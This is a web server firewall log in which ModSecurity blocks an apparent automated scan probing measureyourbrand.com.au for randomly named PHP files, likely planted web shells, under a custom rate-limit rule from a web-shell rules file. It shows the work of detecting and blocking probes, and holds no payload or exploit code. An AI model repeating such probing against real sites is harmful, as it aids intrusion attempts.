[Sun Apr 19 02:37:42.061468 2026] [:error] [pid 32166:tid 32199] [client 20.91.197.181:52092] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dyxbc.php"] [unique_id "aePPdpCHNkWwdiZnafLWVAAAAEE"]
[Sun Apr 19 02:37:42.771798 2026] [:error] [pid 32166:tid 32201] [client 20.91.197.181:55191] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dyxbc.php"] [unique_id "aePPdpCHNkWwdiZnafLWVwAAAEM"]
[Sun Apr 19 02:37:43.565043 2026] [:error] [pid 60910:tid 60936] [client 20.91.197.181:50021] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eapjf.php"] [unique_id "aePPd3FWunkyacYqsD1KqQAAAVg"]
[Sun Apr 19 02:37:44.117430 2026] [:error] [pid 60910:tid 60924] [client 20.91.197.181:52077] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eapjf.php"] [unique_id "aePPeHFWunkyacYqsD1KqwAAAUw"]
[Sun Apr 19 02:37:44.695797 2026] [:error] [pid 60910:tid 60935] [client 20.91.197.181:50039] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eapjf.php"] [unique_id "aePPeHFWunkyacYqsD1KrgAAAVc"]
[Sun Apr 19 02:37:45.329693 2026] [:error] [pid 33517:tid 33527] [client 20.91.197.181:55197] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eapjf.php"] [unique_id "aePPeX4Zz-rubR1wiZ-6VAAAAMg"]
[Sun Apr 19 02:37:46.129867 2026] [:error] [pid 60910:tid 60916] [client 20.91.197.181:52048] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ebuom.php"] [unique_id "aePPenFWunkyacYqsD1KtQAAAUQ"]
[Sun Apr 19 02:37:46.810982 2026] [:error] [pid 60910:tid 60921] [client 20.91.197.181:55525] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ebuom.php"] [unique_id "aePPenFWunkyacYqsD1KuAAAAUk"]
[Sun Apr 19 02:37:47.354036 2026] [:error] [pid 33517:tid 33537] [client 20.91.197.181:52045] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ebuom.php"] [unique_id "aePPe34Zz-rubR1wiZ-6WQAAANI"]
[Sun Apr 19 02:37:48.003881 2026] [:error] [pid 33517:tid 33528] [client 20.91.197.181:55200] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ebuom.php"] [unique_id "aePPfH4Zz-rubR1wiZ-6WgAAAMk"]
[Sun Apr 19 02:37:48.585248 2026] [:error] [pid 33517:tid 33526] [client 20.91.197.181:51044] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/emcgm.php"] [unique_id "aePPfH4Zz-rubR1wiZ-6XwAAAMc"]
[Sun Apr 19 02:37:49.199303 2026] [:error] [pid 33517:tid 33529] [client 20.91.197.181:55208] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/emcgm.php"] [unique_id "aePPfX4Zz-rubR1wiZ-6YwAAAMo"]
[Sun Apr 19 02:37:49.820768 2026] [:error] [pid 60910:tid 60916] [client 20.91.197.181:55494] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/emcgm.php"] [unique_id "aePPfXFWunkyacYqsD1KwgAAAUQ"]
[Sun Apr 19 02:37:50.441340 2026] [:error] [pid 41277:tid 41282] [client 20.91.197.181:55524] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/emcgm.php"] [unique_id "aePPfkH3ayszMLZYflsEWQAAAYM"]
[Sun Apr 19 02:37:50.972548 2026] [:error] [pid 60910:tid 60917] [client 20.91.197.181:52590] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/euocu.php"] [unique_id "aePPfnFWunkyacYqsD1KxQAAAUU"]
[Sun Apr 19 02:37:51.549500 2026] [:error] [pid 32252:tid 32260] [client 20.91.197.181:49984] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/euocu.php"] [unique_id "aePPf-Xl4Yc-Lt5fJ9iq8QAAAQY"]
[Sun Apr 19 02:37:52.122672 2026] [:error] [pid 60910:tid 60929] [client 20.91.197.181:52588] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/euocu.php"] [unique_id "aePPgHFWunkyacYqsD1KygAAAVE"]
[Sun Apr 19 02:37:52.650785 2026] [:error] [pid 32165:tid 32177] [client 20.91.197.181:52618] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/euocu.php"] [unique_id "aePPgKe2vKwEk_N0Brb_GQAAAAg"]
[Sun Apr 19 02:37:53.200725 2026] [:error] [pid 32167:tid 32238] [client 20.91.197.181:55546] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aePPgUyD4Jm27Mb3NJiUCgAAAI0"]
[Sun Apr 19 02:37:53.748528 2026] [:error] [pid 60910:tid 60914] [client 20.91.197.181:52648] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aePPgXFWunkyacYqsD1KzgAAAUI"]
[Sun Apr 19 02:38:01.635437 2026] [:error] [pid 32167:tid 32236] [client 20.91.197.181:50038] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/junvh.php"] [unique_id "aePPiUyD4Jm27Mb3NJiUOwAAAIs"]
[Sun Apr 19 02:38:02.170931 2026] [:error] [pid 32167:tid 32227] [client 20.91.197.181:47419] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/junvh.php"] [unique_id "aePPikyD4Jm27Mb3NJiUPwAAAII"]
[Sun Apr 19 02:38:03.670922 2026] [:error] [pid 32167:tid 32232] [client 20.91.197.181:55538] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/junvh.php"] [unique_id "aePPi0yD4Jm27Mb3NJiURwAAAIc"]
[Sun Apr 19 02:38:04.221644 2026] [:error] [pid 41277:tid 41287] [client 20.91.197.181:52090] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/junvh.php"] [unique_id "aePPjEH3ayszMLZYflsEZAAAAYg"]
[Sun Apr 19 02:38:04.774266 2026] [:error] [pid 60910:tid 60913] [client 20.91.197.181:52055] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jvtsa.php"] [unique_id "aePPjHFWunkyacYqsD1K2wAAAUE"]
[Sun Apr 19 02:38:05.348977 2026] [:error] [pid 32166:tid 32205] [client 20.91.197.181:55490] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jvtsa.php"] [unique_id "aePPjZCHNkWwdiZnafLWYwAAAEc"]
[Sun Apr 19 02:38:06.750008 2026] [:error] [pid 41277:tid 41301] [client 20.91.197.181:50024] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jvtsa.php"] [unique_id "aePPjkH3ayszMLZYflsEaQAAAZY"]
[Sun Apr 19 02:38:07.292655 2026] [:error] [pid 32167:tid 32226] [client 20.91.197.181:49996] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jvtsa.php"] [unique_id "aePPj0yD4Jm27Mb3NJiUTQAAAIE"]
[Sun Apr 19 02:38:07.847514 2026] [:error] [pid 41277:tid 41289] [client 20.91.197.181:55519] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kaduu.php"] [unique_id "aePPj0H3ayszMLZYflsEawAAAYo"]
[Sun Apr 19 02:38:08.415684 2026] [:error] [pid 33517:tid 33520] [client 20.91.197.181:52080] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kaduu.php"] [unique_id "aePPkH4Zz-rubR1wiZ-6cQAAAME"]
[Sun Apr 19 02:38:09.124333 2026] [:error] [pid 32166:tid 32219] [client 20.91.197.181:55225] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kaduu.php"] [unique_id "aePPkZCHNkWwdiZnafLWZgAAAFU"]
[Sun Apr 19 02:38:09.689359 2026] [:error] [pid 33517:tid 33541] [client 20.91.197.181:52594] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kaduu.php"] [unique_id "aePPkX4Zz-rubR1wiZ-6dQAAANY"]
[Sun Apr 19 02:38:10.316002 2026] [:error] [pid 60910:tid 60934] [client 20.91.197.181:50023] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kagug.php"] [unique_id "aePPknFWunkyacYqsD1K5QAAAVY"]
[Sun Apr 19 02:38:10.897168 2026] [:error] [pid 32167:tid 32226] [client 20.91.197.181:50031] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kagug.php"] [unique_id "aePPkkyD4Jm27Mb3NJiUUAAAAIE"]
[Sun Apr 19 02:38:11.463628 2026] [:error] [pid 32167:tid 32246] [client 20.91.197.181:52066] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kagug.php"] [unique_id "aePPk0yD4Jm27Mb3NJiUUQAAAJU"]
[Sun Apr 19 02:38:12.093699 2026] [:error] [pid 32252:tid 32255] [client 20.91.197.181:47397] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kagug.php"] [unique_id "aePPlOXl4Yc-Lt5fJ9irAAAAAQE"]
[Sun Apr 19 02:38:12.622324 2026] [:error] [pid 32166:tid 32200] [client 20.91.197.181:55217] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kandw.php"] [unique_id "aePPlJCHNkWwdiZnafLWZwAAAEI"]
[Sun Apr 19 02:38:13.199463 2026] [:error] [pid 41277:tid 41291] [client 20.91.197.181:55177] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kandw.php"] [unique_id "aePPlUH3ayszMLZYflsEbwAAAYw"]
[Sun Apr 19 02:38:13.735737 2026] [:error] [pid 41277:tid 41301] [client 20.91.197.181:50003] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kandw.php"] [unique_id "aePPlUH3ayszMLZYflsEcQAAAZY"]
[Sun Apr 19 02:38:14.265885 2026] [:error] [pid 60910:tid 60914] [client 20.91.197.181:55176] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kandw.php"] [unique_id "aePPlnFWunkyacYqsD1K6wAAAUI"]
[Sun Apr 19 02:38:14.838325 2026] [:error] [pid 32165:tid 32174] [client 20.91.197.181:52641] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kduhq.php"] [unique_id "aePPlqe2vKwEk_N0Brb_JAAAAAU"]
[Sun Apr 19 02:38:15.402965 2026] [:error] [pid 60910:tid 60929] [client 20.91.197.181:47392] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kduhq.php"] [unique_id "aePPl3FWunkyacYqsD1K7wAAAVE"]
[Sun Apr 19 02:38:15.940134 2026] [:error] [pid 41277:tid 41281] [client 20.91.197.181:52060] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kduhq.php"] [unique_id "aePPl0H3ayszMLZYflsEdQAAAYI"]
[Sun Apr 19 02:38:16.483377 2026] [:error] [pid 32252:tid 32254] [client 20.91.197.181:52566] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kduhq.php"] [unique_id "aePPmOXl4Yc-Lt5fJ9irBwAAAQA"]
[Sun Apr 19 02:38:17.173968 2026] [:error] [pid 32166:tid 32210] [client 20.91.197.181:55536] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rgjrq.php"] [unique_id "aePPmZCHNkWwdiZnafLWaAAAAEw"]
[Sun Apr 19 02:38:17.844425 2026] [:error] [pid 33517:tid 33527] [client 20.91.197.181:49987] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rgjrq.php"] [unique_id "aePPmX4Zz-rubR1wiZ-6fgAAAMg"]
[Sun Apr 19 02:38:18.429563 2026] [:error] [pid 41277:tid 41296] [client 20.91.197.181:52060] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rgjrq.php"] [unique_id "aePPmkH3ayszMLZYflsEeAAAAZE"]
[Sun Apr 19 02:38:19.118284 2026] [:error] [pid 32167:tid 32226] [client 20.91.197.181:52076] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rgjrq.php"] [unique_id "aePPm0yD4Jm27Mb3NJiUWwAAAIE"]
[Sun Apr 19 02:38:19.799528 2026] [:error] [pid 32167:tid 32236] [client 20.91.197.181:51054] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vopxx.php"] [unique_id "aePPm0yD4Jm27Mb3NJiUXwAAAIs"]
[Sun Apr 19 02:38:20.424928 2026] [:error] [pid 32252:tid 32263] [client 20.91.197.181:55206] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vopxx.php"] [unique_id "aePPnOXl4Yc-Lt5fJ9irCQAAAQk"]
[Sun Apr 19 02:38:20.992911 2026] [:error] [pid 32252:tid 32266] [client 20.91.197.181:50006] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vopxx.php"] [unique_id "aePPnOXl4Yc-Lt5fJ9irCgAAAQw"]
[Sun Apr 19 02:38:21.569151 2026] [:error] [pid 32252:tid 32277] [client 20.91.197.181:51805] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vopxx.php"] [unique_id "aePPneXl4Yc-Lt5fJ9irCwAAARc"]
[Sun Apr 19 02:38:22.117530 2026] [:error] [pid 33517:tid 33539] [client 20.91.197.181:52061] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wcoiw.php"] [unique_id "aePPnn4Zz-rubR1wiZ-6ggAAANQ"]
[Sun Apr 19 02:38:22.821692 2026] [:error] [pid 32252:tid 32262] [client 20.91.197.181:52093] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wcoiw.php"] [unique_id "aePPnuXl4Yc-Lt5fJ9irDwAAAQg"]
[Sun Apr 19 02:38:23.422690 2026] [:error] [pid 32252:tid 32276] [client 20.91.197.181:47394] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wcoiw.php"] [unique_id "aePPn-Xl4Yc-Lt5fJ9irEAAAARY"]
[Sun Apr 19 02:38:24.002112 2026] [:error] [pid 32252:tid 32272] [client 20.91.197.181:52054] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wcoiw.php"] [unique_id "aePPoOXl4Yc-Lt5fJ9irEQAAARI"]
